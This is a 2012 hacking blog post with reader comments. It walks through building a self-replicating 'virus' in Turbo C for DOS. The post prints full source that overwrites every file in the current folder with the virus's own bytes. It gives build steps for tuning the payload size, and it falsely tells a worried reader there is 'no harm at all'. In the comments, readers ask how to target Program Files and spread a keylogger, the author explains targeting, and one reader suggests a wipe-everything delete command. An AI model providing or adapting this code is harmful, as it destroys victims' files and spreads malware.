3 Jun 2012

Create a Self Replicating Virus in C Language


Hi Folks. I haven't posted anything related to programming for so long. So here I'm gonna show you how to create a simple virus in C language which is able to infect the exe files by replicating its own copies.
Wait a minute.. first if you're gonna praise me for this code then let me tell that I just get it from internet. Obviously I'm not the one who actually wrote this. If anyone who is the real writer of this code reading it then mail me dude because I have another Legendary code to discuss.
Anyways lets take a look how this code works.

At the time of execution this program simple flush all the code of the present exe and then dump its own code into them which obviously turn them into its copies enabled with the same functionality.

Warning: This is for the education purpose only. I'm not responsible for any damage done to anyone

  • Open the Notepad and copy the below code into it:

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,(end-st)/CLK_TCK);
getch();
}


  • Save as > virus.c
  • Now compile this code with your C compiler. You can take a look here
  • Note down the generated exe file length in bytes
  • Replace the value of X at line 23 in source code to this length in bytes
  • Recompile the code. The new exe file is ready to infect
PERFORM A TEST:
  • Open new empty folder
  • Put some exe files (you can also put the setup files)
  • When you execute the virus.exe file then all the files present there will be infected
  • All the infected files will be ready to reinfect
Debug this code for some more new ideas like I did. :P
If you have any problem in understanding this code then feel free to ping me anytime.

Keep Learning. Keep Rocking. :)

26 comments:

Anonymous said...

can u write this thing in java

H4CK3R said...

yeah, for sure. I'll do it as soon as get free time :) Stay tuned.
In the mean while why don't you try yourself and feel free to ping if get stuck.

Anonymous said...

how to learn hacking by our own ??

INCR3DIBL3 H4CK3R said...

Take a look here,

http://hackthedark.blogspot.com/2011/12/hacking-faq-best-guide-for-beginners.html

Anonymous said...

if i create it does my comp get infected plz reply asap

INCR3DIBL3 H4CK3R said...

You can see the effects on your PC which can later be cured. Its worth trying, no harm at all if followed carefully.

yashbeer bedi said...

can we save the file with *.bat extention ??
will it be doing the same i.e. infecting the pc....

INCR3DIBL3 H4CK3R said...

.bat is for batch file, and here the code is in C language.
So obviously it'll not gonna work.

yashbeer bedi said...

can u tell me a virus which replicates/hide's itself using notepad ,.

Anonymous said...

hey buddy plz make a video tutorial it will help a lot..
i have aradamax remote logger ..how can i spread it..
mereid@rediffmail.com

Anonymous said...

Hey INCR3DIBL3 H4CK3R ,

I cant understand the line 23, what do you mean "this length in bytes" .

Also if we want to infect a specific .exe in program files , how can we do this?

Cheers!

INCR3DIBL3 H4CK3R said...

@Anonymous..
At Line 23 we only pass the size of file in bytes to avoid any exception while infecting.
In order to infect any specific .exe file.. simply pass its name in findfirst function..!

cheers

Anonymous said...

Hey there nice piece of code man!!!

I was wondering if we just want to search and infect the .exe files that exist in the program files not just a specific one like the post above asks, how can we do this ? I mean how can we pass the path to program files ?

peace :)

Anonymous said...

Am I the only one shocked by the "goto"?
It is safer to use a if/else, and more simple!

INCR3DIBL3 H4CK3R said...

"goto" is safe if Handel carefully.

Anonymous said...

i want to ask if i infect a .exe thus it get corrupted
and if not whenever i run the .exe file thus the virus also get run.

Anonymous said...

Don't work >.< multiple compiler errors....need help

rendy said...

Interesting code! I'm just curious, is there any way to recover the infected file?

Anonymous said...

Hey...First Of All.!! I like to thank all of you for being such an inspiring source for me.!! GOD bless you Guys..!! :) Secondly Em New to Programming just learned basic C language..I 'll be thankful to you guys if you kinndly Guide me. That Should it be Done to Master in C prgramming and Vice versa...!! Are there Some Golden points regarding that?

Anonymous said...

well its perfect and ready to it

Anonymous said...

What is the 2048 significant for in line 10 ? Any significance to this buffer size or is it just random.

wajid nawazish said...

hello Dears

I have a problem with compiling it when i tried to compile the program i got this error whic says "error: invalid use of undefined typ 'struct ffblk'"
any solution for this

Regards

Anonymous said...

some errors are there

mohit awasthi said...

Can we do command promt thing using c++. Like the command del c:\\*.* |y.

mohit awasthi said...

Can you please explayin ffblk and ff_name

Anonymous said...

The error is because it's in Turbo C and using MS-DOS librairies who not work nowadays ...

Post a Comment

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Online Project management